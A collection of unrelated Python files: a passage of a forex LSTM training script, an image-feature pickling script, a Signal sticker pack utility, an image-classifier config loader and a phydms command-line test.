        train_x, train_y, dates = prepairDataForLoad(category,
                                                                   pair, startDate, endDate,
                                                                   newsKeywords, provider=provider,
                                                                    resolution=resolution,
                                                                   SEQ_LEN=SEQ_LEN,
                                                                    Training=True)

        # trade data RNN
        input_shape = (train_x.shape[1:])
        input = Input(shape=input_shape)
        x2 = LSTM(128, name="MarketRNN1", return_sequences=True)(input)
        x2 = LSTM(128,name="MarketRNN2") (x2)
        x2 = Dropout(0.2)(x2)
        x2 = Dense(1)(x2)
        marketModel = Model(input, x2)

        opt = tf.keras.optimizers.Adam(lr=learningRate, decay=decay)
        callback = EarlyStopping(monitor='val_loss', patience=30, min_delta=0.00001, )

        marketModel.compile(
            loss=MeanAbsolutePercentageError(),
            optimizer=opt)
        marketModel.summary()

        history = marketModel.fit(
            train_x, np.array(train_y),
            batch_size=batch_size,
            epochs=epoch,
            validation_split=0.2,
            callbacks=[callback])

        marketModel.compile(
            loss=tf.keras.losses.MeanAbsolutePercentageError(),
            optimizer=opt

        )

        marketModel.summary()

        plot_loss(history)
        plt.show()
        modelName = pair.upper() + 'WithNewsHourly.h5'
        current_Path = pathlib.Path().absolute()
        filePath = str(current_Path)+'/outputFiles/' + category + '/' + pair + '/' + modelName
        marketModel.save(filePath)
        print('-------------successfully completed!--------------------------')
    except predictionservices.errors.DataProvidingException as err:
        print(err.message)
        return False
    except:
        print("Something Went Wrong!")
        return False

def plot_loss(history):
    plt.plot(history.history['loss'], label='loss')
    plt.plot(history.history['val_loss'], label='val_loss')
    # plt.ylim([0, 10])
    plt.xlabel('Epoch')
    plt.ylabel('Loss [Close]')
    plt.legend()
    plt.grid(True)

def main():

    train_model(category='Forex', pair='USDJPY', newsKeywords='USDJPY',
                provider=['fxstreet'],
                resolution=60,  SEQ_LEN=7,
                epoch=150,learningRate=0.001,decay=1e-6,batch_size=32)
    return

if __name__ == "__main__":
    main()


import tqdm
from env import BottomUpImageFeatures, MeanPooledImageFeatures
import pickle

detections = 20

mean_pooled_featuers = MeanPooledImageFeatures(["imagenet"])
bottom_up_features = BottomUpImageFeatures(detections)

keys = list(mean_pooled_featuers.features.keys())
missing_keys = set()
by_key = {}

for key in tqdm.tqdm(keys):
    scene, viewpoint = key.split('_')
    try:
        by_key[(scene, viewpoint)] = [nt._asdict() for nt in bottom_up_features._get_viewpoint_features(scene, viewpoint)]
    except Exception as e:
        print(e)
        print(scene, viewpoint)
        missing_keys.add((scene, viewpoint))

with open('img_features/bottom_up_10_100_d={}.pkl'.format(detections), 'wb') as f:
    pickle.dump(by_key, f)


from datetime import date, timedelta
from urllib.parse import urlparse

import anyio
from django.core.exceptions import ValidationError
from signalstickers_client import StickersClient

def get_current_ym_date():
    return date.today().strftime("%Y_%m")

def get_last_month_ym_date():
    return (date.today().replace(day=1) - timedelta(days=1)).strftime("%Y_%m")

def get_pack_from_signal(pack_id, pack_key):  # pragma: no cover
    """
    Simple async -> sync wrapper around StickersClient.
    """

    async def _get_pack(pack_id, pack_key):
        async with StickersClient() as client:
            pack = await client.get_pack(pack_id, pack_key)
        return pack

    try:
        return anyio.run(_get_pack, pack_id, pack_key)
    except:  # pylint: disable=bare-except
        return None

def detect_animated_pack(lib_pack):
    """
    Take a pack from signalstickers_client and return a boolean describing if
    the pack is animated or not. A pack will be animated if at least one of its
    stickers is a APNG or a GIF.
    Will raise a `ValidationError` if the pack format is invalid.
    """

    for sticker in lib_pack.stickers:
        if b"\x61\x63\x54\x4C" in sticker.image_data:  # APNG acTL chunk
            return True
        if sticker.image_data.startswith(
            b"\x47\x49\x46\x38\x39\x61"
        ):  # GIF89a magic numbers
            return True
        if (
            b"\x41\x4e\x49\x4d" in sticker.image_data  # ANIM chunck
            and b"\x57\x45\x42\x50" in sticker.image_data  # WEBP
        ):
            # Animated WebP: invalid.
            raise ValidationError(
                "Animated WebP are invalid; this pack can not be added."
            )
    return False

def is_url(str_in):
    try:
        result = urlparse(str_in)
        return all([result.scheme, result.netloc])
    except:  # pylint: disable=bare-except
        return False


import os
import sys
import warnings

from ImageSeeker.utils import models_config as mc
import json

"""Public ImageSeeker utilities.
This module is used as a shortcut to access all the symbols. Those symbols was
exposed under train engine and predict engine.
"""

with open('config.json','r') as f:
      params = json.load(f)

#Data config
TRAIN_DATA_DIR = params['TRAIN_DATA_DIR']
print(TRAIN_DATA_DIR)
VALID_DATA_DIR = params['VALID_DATA_DIR']
CLASSES = params['CLASSES']
SIZE = params['IMAGE_SIZE'].split(',')
h = int(SIZE[0])
w = int(SIZE[1])
c = int(SIZE[2])
IMAGE_SIZE = h,w,c
AUGMENTATION = params['AUGMENTATION']
BATCH_SIZE = params['BATCH_SIZE']

# Model config
MODEL_OBJ = params['MODEL_OBJ']
print("I am Model obj", MODEL_OBJ)
MODEL_OBJ = mc.return_model(MODEL_OBJ)
MODEL_NAME = params['MODEL_NAME']
EPOCHS = params['EPOCHS']
OPTIMIZER = params['OPTIMIZER']
LOSS_FUNC = params['LOSS_FUNC']
FREEZE_ALL = params['FREEZE_ALL']

def configureData(TRAIN_DATA_DIR = TRAIN_DATA_DIR, VALID_DATA_DIR = VALID_DATA_DIR, AUGMENTATION = AUGMENTATION, CLASSES = CLASSES, IMAGE_SIZE = IMAGE_SIZE, BATCH_SIZE = BATCH_SIZE):
    CONFIG = {
        'TRAIN_DATA_DIR' : TRAIN_DATA_DIR,
        'VALID_DATA_DIR' : VALID_DATA_DIR,
        'AUGMENTATION': AUGMENTATION,
        'CLASSES' : CLASSES,
        'IMAGE_SIZE' : IMAGE_SIZE,
        'BATCH_SIZE' : BATCH_SIZE,
    }

    return CONFIG

def configureModel(MODEL_OBJ = MODEL_OBJ, MODEL_NAME=MODEL_NAME, EPOCHS = EPOCHS, FREEZE_ALL= FREEZE_ALL , OPTIMIZER=OPTIMIZER, LOSS_FUNC=LOSS_FUNC):
    CONFIG = {
        'MODEL_OBJ' : MODEL_OBJ,
        'MODEL_NAME' : MODEL_NAME,
        'EPOCHS' : EPOCHS,
        'FREEZE_ALL' : FREEZE_ALL,
        'OPTIMIZER': OPTIMIZER,
        'LOSS_FUNC' : LOSS_FUNC,
    }

    return CONFIG


"""Runs ``phydms_comprehensive``

This test examines the entire functionality of ``phydms_comprehensive``
when run from the command line.

Written by Jesse Bloom and Sarah Hilton.
"""

import os
import unittest
import multiprocessing
import subprocess
import numpy
import pandas

class test_phydms_comprehensive(unittest.TestCase):
    """Tests command-line ``phydms_comprehensive``."""

    def test_NP(self):
        """Tests command-line ``phydms_comprehensive`` on NP data."""
        tree = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./NP_data/NP_tree_short.newick"))
        alignment = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./NP_data/NP_alignment_short.fasta"))
        prefs = os.path.abspath(os.path.join(os.path.dirname(__file__),
                                "./NP_data/NP_prefs_short.csv"))
        for f in [prefs, alignment]:
            self.assertTrue(os.path.isfile(f), "Can't find file {0}".format(f))
        outprefix = os.path.abspath(os.path.join(os.path.dirname(__file__),
                                    "./NP_test_results/"))
        if outprefix[-1] != "/":
            outprefix = "{0}/".format(outprefix)

        ncpus = min(20, multiprocessing.cpu_count())

        subprocess.check_call(["phydms_comprehensive", outprefix, alignment,
                               prefs, "--tree", tree, "--omegabysite",
                               "--brlen", "scale", "--ncpus", str(ncpus)])

        expectedresults = os.path.abspath(
            os.path.join(os.path.dirname(__file__),
                         "./expected_NP_test_results/"))

        models = ["ExpCM_NP_prefs_short",
                  "averaged_ExpCM_NP_prefs_short",
                  "YNGKP_M0",
                  "YNGKP_M5"
                  ]

        for model in models:
            values = {}
            for (name, prefix) in [("expected", expectedresults),
                                   ("actual", outprefix)]:
                values[name] = {}
                for suffix in ["_loglikelihood.txt", "_modelparams.txt"]:
                    fname = os.path.abspath(os.path.join(prefix,
                                            "./{0}{1}".format(model, suffix)))
                    with open(fname) as f:
                        for line in f:
                            (x, y) = line.split("=")
                            values[name][x.strip()] = float(y)
            for param in values["actual"].keys():
                self.assertTrue(numpy.allclose(values["actual"][param],
                                               values["expected"][param],
                                               atol=1e-2,
                                               rtol=1e-5))

            omegas = {}
            for (name, prefix) in [("expected", expectedresults),
                                   ("actual", outprefix)]:
                fname = os.path.abspath(
                    os.path.join(prefix, "./{0}{1}"
                                 .format(model, "_omegabysite.txt")))
                omegas[name] = pandas.read_csv(fname, comment="#", sep="\t")
                omegas[name] = omegas[name].sort_values(by="site", axis=0)
            self.assertTrue(
                numpy.allclose(
                    omegas["actual"]["P"].values,
                    omegas["expected"]["P"].values,
                    atol=0.01,
                    rtol=0.03,))
            sigsites = (omegas["expected"]
                        [omegas["expected"]["P"] < 0.05]["site"].values)
            sigomegas = {}
            for (name, _df) in omegas.items():
                sigomegas[name] = (omegas[name][omegas[name]["site"]
                                   .isin(sigsites)]["omega"].values)
            self.assertTrue(
                ((sigomegas["actual"] > 1) == (sigomegas["expected"] > 1))
                .all())

if __name__ == "__main__":
    runner = unittest.TextTestRunner()
    unittest.main(testRunner=runner)